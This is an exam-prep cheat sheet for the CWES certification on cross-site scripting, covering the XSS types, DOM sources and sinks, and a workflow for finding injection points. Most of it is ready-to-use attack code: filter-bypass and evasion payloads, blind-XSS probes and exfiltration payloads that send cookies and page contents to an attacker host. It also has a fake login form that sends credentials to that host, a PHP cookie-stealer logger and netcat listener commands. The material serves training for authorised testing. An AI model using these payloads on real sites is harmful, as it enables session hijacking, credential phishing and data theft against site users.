CWES Cheatsheet — XSS
XSS (cross-site scripting) is all about injecting malicious scripts into pages viewed by other users. three main types – stored, reflected, and DOM-based. know when each one applies.
additional resources:
identifying XSS – the quick workflow
| Step | If you see… | Action to take | What to look for in source |
|---|---|---|---|
| 1 | A search box or form | Type test123 and search | Find where test123 is in the code |
| 2 | <div>test123</div> | Use <script>alert(1)</script> | Does the script tag appear in the source? |
| 3 | <input value="test123"> | Use "><script>alert(1)</script> | Did you “close” the input tag correctly? |
| 4 | var x = 'test123'; | Use ';alert(1)// | Did you break out of the ' quotes? |
| 5 | Page says “Blocked” | Try <img src=x onerror=alert(1)> | See if they only blocked the word “script” |
types of XSS
| Type | Description |
|---|---|
| Stored (Persistent) XSS | The most critical type. occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g., posts or comments) |
| Reflected (Non-Persistent) XSS | Occurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g., search result or error message) |
| DOM-based XSS | Another non-persistent type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags) |
DOM XSS – sinks and sources
common sources (where user input enters):
document.URLdocument.referrerlocation.hreflocation.searchlocation.hashwindow.name
common sinks (where input gets executed):
innerHTMLouterHTMLdocument.write()document.writeln()eval()setTimeout()/setInterval()location.hrefjQuery.html()/$().html()
look for patterns like
element.innerHTML = location.hashordocument.write(decodeURIComponent(location.search))in page source JS. that’s your DOM XSS.
XSS payloads reference
| Code | Description |
|---|---|
| XSS Payloads | |
<script>alert(window.origin)</script> | Basic XSS payload |
<script>alert(document.cookie)</script> | Cookie disclosure |
<plaintext> | Basic XSS payload |
<script>print()</script> | Basic XSS payload |
<img src="" onerror=alert(window.origin)> | HTML-based XSS payload |
<img src="" onerror=alert(document.cookie)> | DOM attacks |
<script>document.body.style.background = "#141d2b"</script> | Change background color |
<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script> | Change background image |
<script>document.title = 'HackTheBox Academy'</script> | Change website title |
<script>document.getElementsByTagName('body')[0].innerHTML = 'text'</script> | Overwrite website’s main body |
<script>document.getElementById('urlform').remove();</script> | Remove certain HTML element |
<script src="http://OUR_IP/script.js"></script> | Load remote script |
<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script> | Send cookie details to us |
| Commands | |
python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test" | Run xsstrike on a url parameter |
sudo nc -lvnp 80 | Start netcat listener |
sudo php -S 0.0.0.0:80 | Start PHP server to allow the victim to load remote script from attacker |
filter bypass payloads
| Code | Description |
|---|---|
<img src=x onerror=alert(1)> | When <script> is blocked |
<svg onload=alert(1)> | SVG tag bypass |
<svg/onload=alert(1)> | No space needed |
<body onload=alert(1)> | Body tag event |
<input onfocus=alert(1) autofocus> | Auto-triggering input |
<details open ontoggle=alert(1)> | Details tag bypass |
<marquee onstart=alert(1)> | Marquee tag bypass |
<video src=x onerror=alert(1)> | Video tag |
<audio src=x onerror=alert(1)> | Audio tag |
<iframe src="javascript:alert(1)"> | iframe with javascript URI |
<a href="javascript:alert(1)">click</a> | Anchor tag |
<math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>"> | Nested tag confusion bypass |
XSS filter evasion techniques
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Case manipulation
<ScRiPt>alert(1)</ScRiPt>
# Encoding payloads (URL encode)
%3Cscript%3Ealert(1)%3C/script%3E
# Double URL encoding
%253Cscript%253Ealert(1)%253C/script%253E
# HTML entity encoding
<script>alert(1)</script>
# Event handler without script tag
<img src=x onerror=alert(1)>
# Using javascript: URI
<a href="javascript:alert(1)">click</a>
# Breaking out of attribute context
" onfocus=alert(1) autofocus="
' onfocus=alert(1) autofocus='
# Using SVG with encoding
<svg><script>alert(1)</script></svg>
# Bypassing tag blacklist with capitalization
<IMG SRC=x onerror=alert(1)>
# Null byte (older apps)
<scr%00ipt>alert(1)</script>
# Using backticks instead of parentheses
<img src=x onerror=alert`1`>
# String.fromCharCode to avoid blocked words
<img src=x onerror=alert(String.fromCharCode(88,83,83))>
blind XSS
use when you can’t see the output yourself (e.g. admin panel, support tickets, registration forms reviewed by admin).
detection – use different filenames per field to identify which one fires:
1
2
3
4
5
6
7
8
<!-- In username field -->
<script src=http://YOUR_IP/username></script>
<!-- In email field -->
<script src=http://YOUR_IP/email></script>
<!-- In message field -->
<script src=http://YOUR_IP/message></script>
start a listener:
1
2
3
sudo python3 -m http.server 8000
# or
sudo nc -lvnp 80
whichever filename you see in your server logs = that’s the vulnerable field.
blind XSS exfiltration payloads:
1
2
3
4
5
6
7
8
<!-- Cookie steal -->
<script>new Image().src='http://YOUR_IP/?c='+document.cookie</script>
<!-- Full page exfiltration -->
<script>new Image().src='http://YOUR_IP/?d='+btoa(document.body.innerHTML)</script>
<!-- Current URL exfiltration -->
<script>new Image().src='http://YOUR_IP/?u='+encodeURIComponent(document.location)</script>
XSS to RCE chaining
the CWES exam requires vulnerability chaining. XSS alone won’t get you flags – chain it with:
| Chain | How |
|---|---|
| XSS -> Cookie Steal -> Session Hijack | Steal admin cookie, access admin panel |
| XSS -> CSRF | Force admin to perform actions (password change, user creation) |
| XSS -> Phishing | Inject fake login form, capture creds |
| XSS -> Admin Panel -> File Upload/CMD Injection | Use stolen session to access privileged functionality |
phishing via XSS
login form injection – single one-liner payload:
1
document.write('<h3>Please login to continue</h3><form action=http://YOUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();
wrap it in a script tag and use <!-- at the end to comment out any trailing HTML:
1
2
3
4
<script>
document.write('<h3>Please login to continue</h3><form action=http://YOUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();
</script>
<!--
send the phishing link URL to the victim and start your listener. when the victim submits their credentials, you’ll see them in your server logs:
1
username=admin&password=p1zd0nt57341myp455
cookie stealer (session hijacking)
remote JS file include – test payloads for different contexts:
1
2
3
4
5
6
<script src=http://YOUR_IP/1></script>
'><script src=http://YOUR_IP/2></script>
"><script src=http://YOUR_IP/3></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://YOUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//YOUR_IP");a.send();</script>
<script>$.getScript("http://YOUR_IP")</script>
setup cookie stealer – host these two files on your kali with php -S 0.0.0.0:80:
exploit.js:
1
new Image().src='http://YOUR_IP/index.php?c='+document.cookie;
index.php:
1
2
3
4
5
6
7
8
9
10
11
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP:{$_SERVER['REMOTE_ADDR']} | Cookie:{$cookie}\n");
fclose($file);
}
}
?>
inject the payload in the vulnerable field (e.g. stored XSS via registration):
1
"><script src=http://YOUR_IP/exploit.js></script>
wait for the admin to review your registration. stolen cookie value will be saved in cookies.txt:
1
Victim IP: 10.129.34.48 | Cookie: cookie=c00k1355h0u1d8353cu23d
then use the saved cookie value in your browser session to gain access.
XSStrike – automated XSS testing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"
# Example output:
# XSStrike v3.1.4
# [~] Checking for DOM vulnerabilities
# [+] WAF Status: Offline
# [!] Testing parameter: task
# [!] Reflections found: 1
# [~] Analysing reflections
# [~] Generating payloads
# [!] Payloads generated: 3072
# [+] Payload: <HtMl%09onPoIntERENTER+=+confirm()>
# [!] Efficiency: 100
# [!] Confidence: 10